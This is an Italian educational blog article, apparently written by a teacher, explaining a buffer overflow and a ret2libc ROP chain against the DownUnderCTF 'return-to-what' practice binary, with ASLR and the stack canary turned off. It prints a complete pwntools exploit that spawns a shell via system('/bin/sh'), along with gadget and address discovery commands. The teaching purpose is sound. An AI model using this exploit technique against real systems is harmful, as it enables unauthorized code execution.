Buffer Overflow & ROP Chain: un esempio pratico

Michele Stecca
6 min readMar 18, 2024

--

Questo articolo analizza un semplice file binario nel quale è stata volutamente inserita una vulnerabilità di tipo buffer overflow. Il codice sorgente del binario e il relativo exploit sviluppato in Python sono disponibili in questo repository della competizione CTF (Capture The Flag) chiamata DownUnderCTF. La soluzione qui proposta è più semplice rispetto a quella presente nel repository GitHub in quanto si ipotizza che la protezione ASLR, spiegata in seguito, non sia attiva. Si è scelta questa versione meno complessa per favorire la comprensione anche a chi si avvicina per la prima volta a questi argomenti (come per esempio i miei studenti dell’istituto tecnico 🙂).

Il setup

Gli esperimenti qui descritti sono stati eseguiti su una macchina virtuale configurata con un sistema operativo Ubuntu 22.04.1 LTS dove è stata volutamente disattivata la protezione di tipo ASLR (Address Space Layout Randomization) [1] mediante questo comando:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

ASLR rappresenta una mitigazione a livello di sistema operativo che permette di randomizzare l’indirizzo delle funzioni di libreria (come per esempio la libreria libc) e delle più importanti aree di memoria.

Ispezionando il file sorgente return-to-what.c si nota immediatamente l’invocazione del metodo gets noto per essere vulnerabile ai buffer overflow. Questa tipologia di attacco sfrutta la mancanza di controlli sull’effettiva dimensione dell’input inserito dall’utente il quale può andare a sovrascrivere aree di memoria oltre il buffer allocato dallo sviluppatore. Quando questa situazione si presenta nello stack di sistema (ovvero l’area di memoria che gestisce le chiamate a funzione) siamo in presenza di uno stack overflow il quale potrebbe modificare il flusso di esecuzione del programma.

Il file sorgente è stato compilato con il seguente comando

gcc -fno-stack-protector -g -o return-to-what return-to-what.c

al fine di disattivare la protezione contro il buffer overflow chiamata canary.

Controllando mediante l’utility checksec il file ELF (Executable and Linkable Format) così ottenuto, si otterrà l’output mostrato in figura:

Output del comando “checksec return-to-what”

dove si può notare la presenza della mitigazione NX (Not Executable) che rende lo stack non eseguibile con la conseguenza che questo file binario non sarà attaccabile mediante Shell Code Injection.

Ricapitolando: siamo in presenza di un file binario soggetto a stack overflow con le seguenti mitigazioni disabilitate: Canary, ASLR. Verrà successivamente fornito un exploit sviluppato in Python con l’aiuto della libreria pwntools.

ROP chain

L’obiettivo dell’attacco è quello di eseguire una shell sulla macchina target ma questo lo si dovrà fare con del codice già esistente sulla macchina stessa (code reuse) in quanto la protezione NX ci impedisce di caricare sullo stack il codice assembly di una nostra shell.

Si seguirà l’attacco di tipo ROP (Return Oriented Programming) chain [2] il quale permette di concatenare una serie di istruzioni assembly (chiamate gadget) già presenti nel binario stesso o nelle librerie di sistema come libc al fine di eseguire del codice a piacere. In questo caso l’obiettivo è quello di eseguire una shell/terminal che, nel linguaggio C/C++, sarebbe attivabile mediante questa istruzione:

system("/bin/sh");

Gli ingredienti di cui abbiamo bisogno sono quindi:

  1. L’indirizzo della funzione system (implementata nella libreria di sistema libc);

2. La stringa “/bin/sh” che rappresenta il parametro da fornire alla funzione system per attivare una shell;

3. Delle istruzioni assembly che riescano a mettere in esecuzione la funzione del punto 1 in modo che utilizzi il parametro del punto 2.

Per il punto 1, dobbiamo prima scoprire la versione della libreria libc installata sul nostro sistema Ubuntu (qualora la macchina target non fosse una nostra VM, questa operazione risulterebbe comunque fattibile). Per fare ciò possiamo sfruttare l’utility di sistema ldd (List Dynamic Dependencies) che mostra le librerie dinamiche utilizzate dal nostro file ELF. Da notare che, avendo disattivato la protezione ASLR, ripetendo più volte questo comando l’indirizzo di base della libreria (0x0000724cd4000000) rimane invariato.

ldd return-to-what
linux-vdso.so.1 (0x00007fff7b2f4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000724cd4000000)
/lib64/ld-linux-x86-64.so.2 (0x0000724cd4365000)

Con l’aiuto di questo sito scopriamo che l’indirizzo relativo della funzione system è 0x50d70.

Per il punto 2, possiamo utilizzare questo comando per scoprire l’indirizzo della stringa che ci serve la quale si trova anch’essa nella libc.

strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep '/bin/sh'

Otteniamo: 1d8678 /bin/sh.

Per il punto 3, andiamo ad utilizzare una utility di terze parti chiamata ROPgadget (in alternativa si può utilizzare anche one-gadget) la quale ci permette di cercare all’interno dei binari delle istruzioni assembly utili per realizzare la ROP chain. In questo caso, tra i numerosi gadget presenti nella libreria libc, ci focalizziamo sui seguenti due:

0x000000000002a3e5 : pop rdi ; ret
0x0000000000029139 : ret

Prima di preparare la nostra ROP chain è bene chiarire come le informazioni dei punti 1,2,3 possano tornarci utili (in particolare perchè tra tutti i gadget a disposizione abbiamo scelto proprio pop rdi;ret e ret): è giunto il momento di parlare della calling convention.

Calling convention (sistemi a 64 bit) e conseguente ROP chain per il nostro file binario

La calling convention di un sistema definisce la modalità -a livello di codice assembly- attraverso cui una funzione viene effettivamente eseguita dal processore sfruttando lo stack di sistema e i registri della CPU. La descrizione che segue fa riferimento a sistemi 64 bit con sistema operativo Linux (altre architetture e altri sistemi operativi come Windows prevedono calling convention diverse).

Come riportato in [3], la seguente chiamata di esempio alla funzione somma:

int a=3,b=4,c=5;
int sum = somma(a,b,c);
result = sum * 10;

comporta le seguenti operazioni di basso livello:

  • Caricamento del primo parametro a nel registro RDI;
  • Caricamento del secondo parametro b nel registro RSI;
  • Caricamento del terzo parametro c nel registro RDX;
  • Caricamento sullo stack dell’indirizzo di ritorno (Return Address), in questo caso l’indirizzo dell’istruzione successiva all’invocazione di somma quindi dell’istruzione result = sum * 10;
  • Il caricamento nel registro RIP (Instruction Pointer, contiene l’indirizzo della prossima istruzione da eseguire) dell’indirizzo della funzione somma.

(Per l’esecuzione di funzioni con più parametri si faccia riferimento a [3]).

Lo stato dello stack prima (a sinistra) e dopo (a destra) dell'attacco di tipo buffer overflow

Ricordando che il nostro obiettivo è quello di attivare una shell mediante la funzione system(“/bin/sh”) e avendo compreso la calling convention del sistema target, possiamo organizzare il payload dell’attacco come mostrato in figura, dove:

  • la sequenza iniziale di caratteri ‘A’ ha la funzione di raggiungere l’area di memoria contenente il Return Address;
  • il gadget pop rdi (eseguito in quanto il suo indirizzo va a sovrascrivere il Return Address iniziale) carica in RDI l’elemento presente in cima allo stack al momento della sua esecuzione. Questo significa che in RDI troveremo l’indirizzo della stringa “/bin/sh”;
  • l’istruzione assembly ret (return) corrisponde in realtà all’istruzione pop rip ovvero carica in RIP (Instruction Pointer) l’elemento presente in cima allo stack al momento della sua esecuzione. Questo significa che dopo l’esecuzione di pop rdi la successiva ret porterà in RIP l’indirizzo della funzione system.

Così facendo la funzione system è correttamente configurata per essere eseguita ed è quindi in grado di attivare una shell.

Nota: l’assenza della protezione ASLR ci permette di sviluppare l’exploit utilizzando degli indirizzi che rimangono costanti ad ogni esecuzione.

L’exploit completo

Viene qui riportato l’exploit sviluppato in Python con l’ausilio della libreria pwntools.

from pwn import *

p = process("./return-to-what")

#ASLR disattivato => indirizzo di base di libc costante
libc_base = 0x00007ffff7c00000

#Indirizzi trovati con ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6
ret = libc_base + 0x29139
pop_rdi = libc_base + 0x2a3e5

#Indirizzo trovato qui:
#https://libc.blukat.me/d/libc6_2.35-0ubuntu3.6_amd64.symbols
system = libc_base + 0x50d70

#Indirizzo trovato con
#strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep '/bin/sh'
bin_sh = libc_base + 0x1d8678

log.info("Libc base: " + hex(libc_base))
log.info("system@LIBC: " + hex(system))
log.info("/bin/sh: " + hex(bin_sh))

#Payload finale
payload = b"A"*56 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)

p.recv()
p.sendline(payload)

p.interactive()

Per quanto riguarda la ROP chain, si può notare come rispetto all’immagine precedente sia presente un ulteriore gadget di tipo ret tra il padding iniziale e il gadget pop rdi;ret. Questo inserimento è necessario pena il fallimento dell’attacco per una questione relativa all’allineamento dello stack (si veda [4]).

Per scoprire perchè il padding iniziale del payload debba essere pari a 56, si può utilizzare l’utility cyclic della libreria pwntools [5]. Per non appesantire questo articolo si preferisce lasciare al lettore (oppure a un futuro post) questo dettaglio.

Conclusioni

L’articolo si è focalizzato sulla creazione di una ROP chain in grado di attivare una shell sulla macchina target. Per concentrarsi sulla tecnica in questione, si è preferito semplificare il problema rimuovendo alcune mitigazioni come ASLR e Canary. In futuro si prevedere di ripetere l’attacco con ASLR attivo.

Fonti

[1] https://it.wikipedia.org/wiki/ASLR

[2] https://en.wikipedia.org/wiki/Return-oriented_programming

[3] https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64

[4] https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/return-oriented-programming/stack-alignment.md

[5] https://docs.pwntools.com/en/stable/util/cyclic.html

--

--

Michele Stecca

Karaoke addicted and Ph.D. in Computer Engineering. High School teacher. #Cybersecurity #BigData, #IoT, #AI, #Education, #Cisco. Opinions are my own.